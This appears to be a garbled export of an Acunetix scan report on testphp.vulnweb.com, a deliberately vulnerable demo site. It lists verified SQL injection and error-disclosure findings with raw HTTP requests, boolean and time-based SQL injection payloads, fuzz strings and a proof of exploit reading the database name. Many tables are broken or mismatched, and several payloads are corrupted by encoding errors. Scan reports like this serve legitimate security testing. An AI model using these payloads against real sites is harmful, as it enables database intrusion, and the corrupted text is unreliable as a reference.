<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
<tr>
<td><strong>Alert variants</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Details</strong></td>
<td>URL encoded GET input test was set to 1ACUSTART&quot;%2qdbeACUEND</td>
</tr>
</tbody>
</table>
POST /search.php?test=1ACUSTART''2qdbeACUEND HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 25
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
goButton=go&searchFor=the

<table>
<thead>
<tr>
<th>/secured/newuser.php</th>
<th>Alert group</th>
<th>SQL injection (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
<td></td>
</tr>
<tr>
<td>Description</td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
<td></td>
</tr>
<tr>
<td>Recommendations</td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
<td></td>
</tr>
<tr>
<td>Alert variants</td>
<td>Details</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>URL encoded POST input uuname was set to 1ACUSTART''dU78RACUEND</td>
<td></td>
</tr>
</tbody>
</table>
POST /secured/newuser.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate

Content-Length: 205

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

signup=signup&uaddress=3137%20Laguna%20Street&ucc=41111111111111&uemail=sample%40email.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&urname=ghovjnju&uuname=1ACUSTART"dU78RAUEND

/sendcommand.php

<table>
<thead>
<tr>
<th>Alert group</th>
<th>SQL injection (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>URL encoded POST input cart_id was set to 1ACUSTART&quot;9YkyACUEND</td>
</tr>
</tbody>
</table>
POST /sendcommand.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 83
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
cart_id=1ACUSTART''9YkyyACUEND&submitForm=place%20a%20command%20for%20these%20items

<table>
<thead>
<tr>
<th>Alert group</th>
<th>SQL injection (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Severity</strong></td>
<td>High</td>
</tr>
<tr>
<td><strong>Description</strong></td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
<tr>
<td><strong>Alert variants</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Details</strong></td>
<td>Cookie input <strong>login</strong> was set to 1ACUSTART''CmIXxACUEND</td>
</tr>
</tbody>
</table>
GET /userinfo.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Referer: https://www.google.com/search?q=testing
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Cookie: login=1ACUSTART''CmlXxACUEND
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
Connection: Keep-alive

<table>
<thead>
<tr>
<th>Alert group</th>
<th>SQL injection (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Alert variants</th>
</tr>
</thead>
<tbody>
<tr>
<td>URL encoded POST input pass was set to <code>-1' OR 3*2*1=6 AND 000591=000591 --</code></td>
</tr>
</tbody>
</table>

Tests performed:
- `-1' OR 2+591-591-1=0+0+0+1 --` => TRUE
- `-1' OR 3+591-591-1=0+0+0+1 --` => FALSE
- `-1' OR 3*2<(0+5+591-591) --` => FALSE
- `-1' OR 3*2>(0+5+591-591) --` => FALSE
- `-1' OR 2+1+1+1=1 AND 000591=000591 --` => FALSE
- `-1' OR 3*2=5 AND 000591=000591 --` => FALSE
- `-1' OR 3*2=6 AND 000591=000591 --` => TRUE
- `-1' OR 3*2=6 AND 000591=000591 --` => TRUE
- `-1' OR 3*2=6 AND 000591=000591 --` => TRUE

Original value: 1

Proof of Exploit

SQL query - SELECT database()

acuart
POST /userinfo.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 61
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

pass=-1%'20OR%232*1=6%20AND%200000591=000591%20--%20&uname=1

<table>
<thead>
<tr>
<th>/userinfo.php</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Alert group</strong></td>
</tr>
<tr>
<td><strong>Severity</strong></td>
</tr>
<tr>
<td><strong>Description</strong></td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
</tr>
<tr>
<td><strong>Alert variants</strong></td>
</tr>
<tr>
<td><strong>Details</strong></td>
</tr>
</tbody>
</table>
POST /userinfo.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 42
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

pass=1ACUSTART"P6BeeACUEND&uname=ghovjnju

<table>
<thead>
<tr>
<th>Alert group</th>
<th>SQL injection (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>URL encoded POST input uaddress was set to 1ACUSTART&quot;oDADGACUEND</td>
</tr>
</tbody>
</table>
POST /userinfo.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 111
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

uaddress=1ACUSTART"oDADGACUEND&ucc=777&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2B555%20666666666

<table>
<thead>
<tr>
<th>/userinfo.php</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Alert group</strong></td>
<td>SQL injection (verified)</td>
</tr>
<tr>
<td><strong>Severity</strong></td>
<td>High</td>
</tr>
<tr>
<td><strong>Description</strong></td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
<tr>
<td><strong>Alert variants</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Details</strong></td>
<td>URL encoded POST input uaddress was set to 1ACUSTART&quot;qFHL3ACUEND</td>
</tr>
</tbody>
</table>
POST /userinfo.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 127
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

uaddress=1ACUSTART"qFHL3ACUEND&ucc=777&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2B555%206666666666&urname=ghovjnjv

/userinfo.php

<table>
<thead>
<tr>
<th>Alert group</th>
<th>SQL injection (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
</tbody>
</table>
URL encoded POST input **ucc** was set to `(select(0)from(select(sleep(6)))v)//"+"+(select(0)from(select(sleep(6)))v)//"+"+(select(0)from(select(sleep(6)))v)//"+"/

Tests performed:

- `(select(0)from(select(sleep(15)))v)//"+"+(select(0)from(select(sleep(15)))v)//"+"/` => **15.144**
- `(select(0)from(select(sleep(15)))v)//"+"+(select(0)from(select(sleep(15)))v)//"+"/` => **15.147**
- `(select(0)from(select(sleep(6)))v)//"+"+(select(0)from(select(sleep(6)))v)//"+"/` => **6.138**
- `(select(0)from(select(sleep(6)))v)//"+"+(select(0)from(select(sleep(6)))v)//"+"/` => **6.16**

Original value: **777**
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 926
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

<table>
<thead>
<tr>
<th>/userinfo.php</th>
<th>SQL injection (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Alert group</strong></td>
<td>High</td>
</tr>
<tr>
<td><strong>Description</strong></td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
<tr>
<td><strong>Alert variants</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Details</strong></td>
<td>URL encoded POST input uemail was set to 1ACUSTART''VzXqAACUEND</td>
</tr>
</tbody>
</table>
POST /userinfo.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 805
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

uaddress=
<br>%0D%0A%09<form name="loginform" method="post" action="userinfo.php"><table cellpadding="4" cellspacing="1"><tr><td>Username:%20</td><td><input name="uname" type="text" size="20" style="width:120px;"></td></tr><tr><td>Password:%20</td><td><input name="pass" type="password" size="20" style="width:120px;"></td></tr><tr><td colspan="2" align="right"><input type="submit" value="login" style="width:75px;"></td></tr></table></form>

<table>
<thead>
<tr>
<th><strong>/userinfo.php</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Alert group</strong></td>
</tr>
<tr>
<td><strong>Severity</strong></td>
</tr>
<tr>
<td><strong>Description</strong></td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
</tr>
<tr>
<td><strong>Alert variants</strong></td>
</tr>
<tr>
<td><strong>Details</strong></td>
</tr>
</tbody>
</table>

Alert group | SQL injection (verified) |
---|---|
Severity | High |
Description | SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server. |
Recommendations | Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection. |
Alert variants |  |
Details | URL encoded POST input uemail was set to 1ACUSTART'"VzXqAUCUEND&update=update&uphone=%2B555%20666666666 |
POST /userinfo.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 821
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

uaddress=
<div id="content"><div class="story">If you are already registered please enter your login information below:
<form name="loginform" method="post" action="userinfo.php">
<table cellpadding="4" cellspacing="1">
<tr><td>Username : </td><td><input name="uname" type="text" size="20" style="width:120px;"></td></tr>
<tr><td>Password : </td><td><input name="pass" type="password" size="20" style="width:120px;"></td></tr>
<tr><td colspan="2" align="right"><input type="submit" value="login" style="width:75px;"></td></tr>
</table>
</form></div>
</div>&ucc=777&uemail=1ACUSTART''iEB0PACUEND&update=update&uphone=%2B555%20666666666&urname=ghovjnjv

### /userinfo.php

<table>
<thead>
<tr>
<th>Alert group</th>
<th>SQL injection (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
</tbody>
</table>

58
Details

URL encoded POST input `uname` was set to `-1' OR 3*2*1=6 AND 000690=000690 --`.

Tests performed:
- `-1' OR 2+690-690-1=0+0+0+1 -- => TRUE`
- `-1' OR 3+690-690-1=0+0+0+1 -- => FALSE`
- `-1' OR 3*2<(0+5+690-690) -- => FALSE`
- `-1' OR 3*2>(0+5+690-690) -- => FALSE`
- `-1' OR 2+1+1=1 AND 000690=000690 -- => FALSE`
- `-1' OR 3*2=5 AND 000690=000690 -- => FALSE`
- `-1' OR 3*2=6 AND 000690=000690 -- => TRUE`
- `-1' OR 3*2*0=6 AND 000690=000690 -- => FALSE`
- `-1' OR 3*2*1=6 AND 000690=000690 -- => TRUE`

Original value: 1

Proof of Exploit

SQL query - SELECT database()

```plaintext
acuart
```

POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 61

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

```
pass=1&uname=-1%'20OR%203*2*1=6%20AND%20000690=000690%20--%20
```

Alert group

SQL injection (verified)

Severity

High

Description

SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.

Recommendations

Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.

Alert variants
URL encoded POST input `uname` was set to `1ACUSTART''qZNPcACUEND`

POST /userinfo.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 50
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

```
pass=g00dPa%24%24w0rD&uname=1ACUSTART''qZNPcACUEND
```

<table>
<thead>
<tr>
<th>/userinfo.php</th>
<th>SQL injection (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Alert group</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Severity</strong></td>
<td>High</td>
</tr>
<tr>
<td><strong>Description</strong></td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
<tr>
<td><strong>Alert variants</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Details</strong></td>
<td>URL encoded POST input <code>uphone</code> was set to <code>1ACUSTART''OhepyACUEND</code></td>
</tr>
</tbody>
</table>
POST /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 811
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

uaddress=

<table>
<thead>
<tr>
<th>/userinfo.php</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Alert group</strong></td>
</tr>
<tr>
<td><strong>Severity</strong></td>
</tr>
<tr>
<td><strong>Description</strong></td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
</tr>
<tr>
<td><strong>Alert variants</strong></td>
</tr>
<tr>
<td><strong>Details</strong></td>
</tr>
</tbody>
</table>
POST /userinfo.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 827
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

uaddress=

<div id="content">%0D%0A%09<div class="story"><h3>If you are already registered please enter your login information below:</h3><br>%0D%0A%09<form name="loginform" method="post" action="userinfo.php">%0D%0A%09<table cellpadding="4" cellspacing="1"><tr><td>Username: </td><td><input name="uname" type="text" size="20" style="width:120px;"></td></tr>%0D%0A%09<tr><td>Password: </td><td><input name="pass" type="password" size="20" style="width:120px;"></td></tr>%0D%0A%09<tr><td colspan="2" align="right"><input type="submit" value="login" style="width:75px;"></td></tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%09</div>&ucc=777&uemail=matheusdaocu@gmail.com&update=update&uphone=1ACUSTART"d6ToCACUEND&urname=ghovjn

/Mod_Rewrite_Shop/

<table>
<thead>
<tr>
<th>Alert group</th>
<th>.htaccess file readable (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>Description</td>
<td>This directory contains an .htaccess file that is readable. This may indicate a server misconfiguration. .htaccess files are designed to be parsed by web server and should not be directly accessible. These files could contain sensitive information that could help an attacker to conduct further attacks. It's recommended to restrict access to this file.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Restrict access to the .htaccess file by adjusting the web server configuration.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td></td>
</tr>
</tbody>
</table>
### Alert group

<table>
<thead>
<tr>
<th>Application error message</th>
</tr>
</thead>
<tbody>
<tr>
<td>This alert requires manual confirmation</td>
</tr>
</tbody>
</table>

### Description

Application error or warning messages may expose sensitive information about an application's internal workings to an attacker.

Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.

### Recommendations

Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.

### Alert variants

**Details**

URL encoded GET input **artist** was set to `12345'"\":\"]*00(%90a<%00>%bf%27\"\"`  

**Pattern found:**

`You have an error in your SQL syntax`  

---

GET `/listproducts.php?artist=12345'"\"`;\"]*00(%90a<%00>%bf%27\"\" HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

---
### Alert group

<table>
<thead>
<tr>
<th>Application error message</th>
</tr>
</thead>
<tbody>
<tr>
<td>This alert requires manual confirmation</td>
</tr>
</tbody>
</table>

### Description

Application error or warning messages may expose sensitive information about an application's internal workings to an attacker.

Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.

### Recommendations

Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.

### Alert variants

**Details**

URL encoded GET input `cat` was set to `12345"\"\";\]|*\%00(%d%0a<%00>%b%27`\text{\texttt{\textbackslash}}`)%0d%0a\text{\texttt{\textbackslash}}`\text{\texttt{\textbackslash}}`\text{\texttt{\textbackslash}}`\text{\texttt{\textbackslash}}`\text{\texttt{\textbackslash}}`.  

Pattern found:

You have an error in your SQL syntax

---

GET /listproducts.php?cat=12345"\"\";\]|*\%00(%d%0a<%00>%b%27

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

---

### Alert group

<table>
<thead>
<tr>
<th>Application error message</th>
</tr>
</thead>
<tbody>
<tr>
<td>This alert requires manual confirmation</td>
</tr>
</tbody>
</table>

### Description

Application error or warning messages may expose sensitive information about an application's internal workings to an attacker.

Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.

### Recommendations

Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.

### Alert variants

---

### Alert group

<table>
<thead>
<tr>
<th>Application error message</th>
</tr>
</thead>
<tbody>
<tr>
<td>This alert requires manual confirmation</td>
</tr>
</tbody>
</table>

### Description

Application error or warning messages may expose sensitive information about an application's internal workings to an attacker.

Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.

### Recommendations

Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.
POST /secured/newuser.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 225
Host: testphp.vulnweb.com

signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&urname=ghovjnjkjv&uuname=12345''"\);|]*%00{%0d%0a<%00>%bf%27'

/showimage.php

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Application error message</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>Description</td>
<td>This alert requires manual confirmation</td>
</tr>
<tr>
<td></td>
<td>Application error or warning messages may expose sensitive information about an application's internal workings to an attacker.</td>
</tr>
<tr>
<td></td>
<td>Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.</td>
</tr>
<tr>
<td>Alert variants</td>
<td>URL encoded GET input file was set to acu1951%EF%BC%9Cs1%EF%B9%A5s2%CA%BA%uca1951</td>
</tr>
</tbody>
</table>

Details

<table>
<thead>
<tr>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>URL encoded POST input uuname was set to 12345''&quot;);</td>
</tr>
<tr>
<td>Pattern found:</td>
</tr>
<tr>
<td>You have an error in your SQL syntax</td>
</tr>
</tbody>
</table>

You have an error in your SQL syntax

POST /secured/newuser.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 225
Host: testphp.vulnweb.com

signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&urname=ghovjnjkjv&uuname=12345''"\);|]*%00{%0d%0a<%00>%bf%27'
GET /showimage.php?file=acu1951%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca1951&size=160 HTTP/1.1
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/userinfo.php

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Application error message</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
</tbody>
</table>
| Description | This alert requires manual confirmation
